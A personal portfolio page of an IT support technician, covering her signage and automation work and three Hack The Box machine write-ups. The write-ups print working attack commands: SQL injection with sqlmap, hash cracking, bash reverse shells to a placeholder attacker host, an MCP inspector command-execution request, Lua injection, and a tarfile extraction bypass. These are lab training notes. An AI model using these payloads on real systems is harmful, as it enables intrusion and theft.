IT support with a wide surface: client systems, networking, Active Directory, and the automation that makes the repetitive parts go away. Hands-on, not just theory.
Offensive security, from the ground up. I break things apart to understand how they work, then write down every wrong turn along the way, not just the clean path.
I'm Serena. I work in IT support at echion Communication, currently focused on digital signage systems: Windows and Android signage players, LED walls, content management through Navori, and the SaaS tools that run them. About two years into it professionally, and it's given me a genuinely wide surface to work across hardware, software, and client accounts at the same time.
Day to day that means second and third level support, first level sits with a dedicated support team, project managing signage installations end to end, and setting up the players themselves on both Windows and Android. Account and identity management for the platforms we run is part of that too.
The parts that get repetitive, I automate. I write my own Python for the tedious stuff, inventory and asset creation through Snipe-IT being the clearest example, instead of doing it by hand every time.
Networking and Active Directory are where I'm actively building depth. I've configured DHCP and IP ranges, set up switches and routers, built out VPNs, segmented networks with subnets and DMZs, and handled port forwarding and printer setups, hands-on, not just in theory. AD I know mostly from the structure and configuration side so far: I can navigate it and spot a misconfiguration, but production administration is still something I'm growing into.
Before this role I spent a few years around the edges of IT without the title. At View Capital I managed digital platforms end to end, access control, operations, and ongoing optimization, while picking up security fundamentals on my own as I went. At smino I rebuilt and maintained the company website on WordPress, structure, performance and usability included. None of it was formally "IT support," but it's a lot of where the instinct for owning a system end to end actually came from.
I also have a security specialty on the side: offensive security research through Hack The Box, and working toward HTB's Certified Junior Cybersecurity Associate certification. Flip the switch above to see that half.
Security is my specialty on the side of my IT work, the part I do because I genuinely can't stop being curious about how systems break.
I started with the fundamentals: the Google Cybersecurity Certificate for the theory side, networking, encryption, identity and access management, the OWASP Top 10. Once that foundation was in place I moved to Hack The Box, and that's where it actually clicked. There's a specific kind of satisfaction in staring at a service for an hour, finding the one thing that's slightly off, and turning it into a shell.
What keeps me coming back isn't collecting root flags. It's the habit of asking why something works, rebuilding public exploits by hand instead of just running someone else's script, and keeping detailed notes on every dead end so the next box goes faster. I'd rather spend an extra hour understanding a vulnerability class than memorize one payload that only works once.
Outside of offensive work I build my own tools. It keeps me honest about the defensive side too, understanding how an attack works is a lot more useful when you've also tried to build something that resists it.
I also build and run my own infrastructure. I'm currently expanding a home lab specifically to reverse engineer malware safely, test vulnerabilities against services I've configured myself instead of only HTB's, and run Active Directory and Linux server attack scenarios I design from scratch. It's also just where I keep my own code and get to experiment with networking end to end, not only from the attacker's side of it.
Full attack chains for machines I've fully compromised, including the failed attempts, not just the parts that worked. One of these is for a box that's still active on Hack The Box, so it stays encrypted until it retires. Reach out if you need the password for a review.
A ZoneMinder CCTV management panel that unravels through SQL injection, a cracked hash, an internal MotionEye instance, and a plaintext credential caught mid-flight with tcpdump.
A standard service scan showed SSH and a web panel titled "SecureVision CCTV & Security Solutions." Added the host to /etc/hosts and started poking at the login page.
nmap -sC -sV <target>
Default credentials admin:admin worked immediately but didn't expose anything interesting on their own. Directory brute forcing came up empty too. The service turned out to be ZoneMinder, which has a known SQL injection advisory.
Fed the authenticated session to sqlmap against the event removal endpoint. Most parameters came back clean, but one was vulnerable to time based blind injection.
sqlmap -u "http://<target>/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=<session>" --batch --dbms=mysql --level=3 --risk=2 --dbs
With the database confirmed, dumped the Users table and got three bcrypt hashes. One cracked against rockyou, handing over SSH access for a low privileged user.
sqlmap -u "..." --cookie="..." -D zm -T Users -C "Username,Password" --dump --hex --batch
hashcat -m 3200 hashes.txt rockyou.txt
SSH'd in, but the home directory held no flag, and a second user's directory was locked down. Checking local listening ports surfaced several internal-only services, including a MotionEye camera management interface.
ss -tulnp
ssh -L 8765:127.0.0.1:8765 user@<target>
MotionEye allowed an unauthenticated view but nothing more without admin rights. Camera filenames hinted that someone had exploited the service before using a filename injection technique, which was the clue that mattered most. Rather than attack MotionEye blind, I captured internal traffic instead and caught a second user's credentials passing in plaintext.
tcpdump -i any -nn -A tcp port 5000
Logged in as that user over SSH and grabbed the user flag. The same credentials, reused against the MotionEye admin account, worked too.
With MotionEye admin access, the path to root was a known filename injection vulnerability: configure interval snapshots, bypass client-side validation through the browser console, then inject a reverse shell payload directly into the snapshot filename field.
configUiValid = function() { return true; };
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/<attacker>/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
The camera service parsed the filename on its next snapshot cycle and executed the payload as root.
An internal developer platform exposing an unauthenticated MCP inspector tool, a Jupyter token sitting in plain view in the process list, and a hidden admin endpoint that hands over the root SSH key.
Nmap showed SSH and an nginx reverse proxy redirecting to a named vhost. The landing page listed three internal tools: a public MCP inspector, an analytics dashboard restricted to localhost, and an internal git server.
nmap -sCV <target>
The MCP inspector's connect endpoint listens on all interfaces instead of localhost only, and accepts a command and argument list with no authentication check at all. Used Burp Suite to capture the normal "add server" request first, to see the exact JSON shape expected, then built the exploit by hand instead of grabbing a public PoC outright.
curl -X POST http://<target>:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig": {
"timeout": 10000,
"transportType": "stdio",
"command": "/bin/bash",
"args": ["-c", "bash -i >& /dev/tcp/<attacker>/4444 0>&1"]
},
"serverId": "pwned"
}'
Setting transportType to stdio tells the service to spawn a local process rather than make an HTTP request, which is exactly the primitive needed for code execution. That landed a shell as a low privileged service account.
Local ports showed an internal Jupyter instance and a second Flask service. Jupyter required a token to log in, but a quick check of the process list leaked it in plain text as a command line argument.
ps aux | grep jupyter
# --ServerApp.token=<leaked token>
Jupyter was bound to localhost only, and there were no SSH credentials yet to tunnel through normally, so I pushed a static binary of Chisel onto the box and reversed a tunnel back to my own machine instead.
# attacker
chisel server -p 9999 --reverse
# target
./chisel client <attacker>:9999 R:8888:127.0.0.1:8888
With the tunnel up, the Jupyter token gave full notebook access running as a more privileged user, enough to grab the user flag and drop an SSH key for persistence.
The second internal Flask service required an API key, and its source code was readable on disk. It contained a hardcoded key and, more importantly, an admin tool that wasn't listed anywhere in its documented endpoints but was still callable directly. That hidden tool could dump arbitrary files, including the root SSH private key, because the service itself ran as root.
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "X-API-Key: <leaked key>" \
-d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}'
Fixed up the returned key's formatting and used it to SSH straight in as root.
ps aux after any foothold is close to free.An exposed WingFTP admin panel vulnerable to an authenticated Lua injection RCE, a salted hash with a documented default salt, and a very recent Python tarfile extraction filter bypass to finish as root.
Nmap showed SSH and an Apache server redirecting to a named vhost. Virtual host fuzzing turned up a second host running a WingFTP web interface, with the exact version visible on the login page.
nmap -sC -sV <target>
gobuster vhost -u http://wingdata.htb -w subdomains-top1million-110000.txt --append-domain
That version of WingFTP has a known null byte handling bug in its login flow. A crafted POST request with a null byte followed by Lua code gets executed server side during session creation, and the response hands back a session ID that can be used to run further commands. No working outbound connection for a full reverse shell, likely a restrictive egress rule, so I ran the rest of the enumeration through the exploit's blind command execution instead of a shell.
# simplified payload shape
username=anonymous%00]]%0dlocal+h+%3d+io.popen("<command>")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--
Blind command execution let me walk the WingFTP data directory and pull user config files in XML, each holding a salted SHA-256 password hash. WingFTP's own documentation notes that if an admin enables salting without setting a custom salt, it falls back to a fixed default string. Formatted the hash accordingly and ran it through hashcat.
hashcat -m 1410 hashes.txt rockyou.txt
# hash:WingFTP
The cracked password worked directly over SSH, handing over the user flag.
sudo -l showed permission to run a backup restore script as root, no password required. The script extracted an uploaded tarball using Python's tarfile module with the newer filter="data" safety option, which is supposed to block path traversal through symlinks. A very recent CVE in that same filter logic allows it to be bypassed using a chain of deeply nested directories and symlinks that exceed the system's maximum path length, letting extraction escape the intended staging directory entirely.
Built a tarball that chains short symlinks through long padded directory names until the resolved path exceeds the OS limit, then uses that overflow to point a final symlink back out to /root/.ssh/authorized_keys and write a public key there.
ssh-keygen -t ed25519 -f wingdata_key -N ""
python3 exploit_tar.py --preset ssh-key --payload wingdata_key.pub --tar-out backup_123.tar
mv backup_123.tar /opt/backup_clients/backups/
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_123.tar -r restore_1
Once the script ran, the key landed in root's authorized_keys and a plain SSH login finished the box.
ssh -i wingdata_key root@<target>
filter="data" call can still carry a fresh CVE months later.This box is still active on Hack The Box, so I don't publish the full attack chain while it's live. The content below is encrypted in the page itself (AES-256-GCM, derived from the password via PBKDF2), not just hidden with CSS. If you're a recruiter or reviewer and need to see it, reach out through the contact section for the password.
A set of Python scripts that automate asset and inventory creation in Snipe-IT instead of entering new signage hardware by hand. Built to cut down the most repetitive part of onboarding new devices, player by player, LED wall by LED wall, into something that runs in seconds.
An automated setup script for Windows 10 and 11 that configures a new signage PC end to end, everything short of the BIOS itself. It sets the desktop background, taskbar behavior, and update settings, hides desktop icons, runs installers from a preset directory for remote access tools, and configures autologon. What used to be about an hour of manual setup per machine is now closer to 20 minutes.
A script that enforces consistent display scaling on Windows 10 and 11 signage PCs. Mismatched scaling was an ongoing problem that quietly broke how content rendered on screen, and kept coming back machine after machine. Writing a permanent fix took about 10 minutes, running it takes less than a second.
Built and ran an online shop solo during a stretch of self-employment: Shopify setup, HTML and CSS customization, hosting and domain configuration, and payment integration, no team behind it. Also negotiated supplier contracts directly and handled technical SEO, which took organic ranking from nothing to a real source of traffic.
A single self-contained HTML file: no build step, no frameworks, no external requests of any kind. Everything, styling, animation, the mode switcher, and the write-up decryption, is hand-written vanilla CSS and JavaScript, locked down with a strict Content-Security-Policy. The one gated write-up on the security side is genuinely encrypted client-side with AES-256-GCM, not just visually hidden.
A password manager built from the ground up to understand applied cryptography rather than to ship a product fast. The core design follows a zero knowledge model: the server (or local store) never sees a plaintext master password or the derived key, only encrypted blobs. Symmetric encryption is handled with Fernet for stored secrets, and API tokens are treated separately from user passwords since they have different rotation and usage patterns.
Most of the work so far has been getting the key handling right. An encryption key generated once and held only in memory is useless the moment the process restarts, which is the kind of mistake that's obvious in hindsight but easy to make on a first pass. That pushed the design toward proper key persistence instead of a quick convenience shortcut.
A pocket sized hacking toolkit built around a Raspberry Pi Zero 2 W running Kali Linux ARM, with a small touchscreen and a custom terminal UI instead of a desktop environment. No laptop required for a quick recon pass, just a handheld device that boots straight into it.
The launcher is built in Python with Textual and is organized into modules: network and Bluetooth discovery, wireless monitoring and packet capture, Bluetooth device inspection, anonymized routing through Tor and VPN with a kill switch, and basic system control for the device itself. It's early, the hardware only just arrived, but the goal is a real companion for fieldwork, not a toy.
Open to opportunities in IT support and systems work, with a particular interest in roles that touch networking, Active Directory, or automation, plus anything on the security side where breaking things on purpose is part of the job description. The fastest way to reach me is email.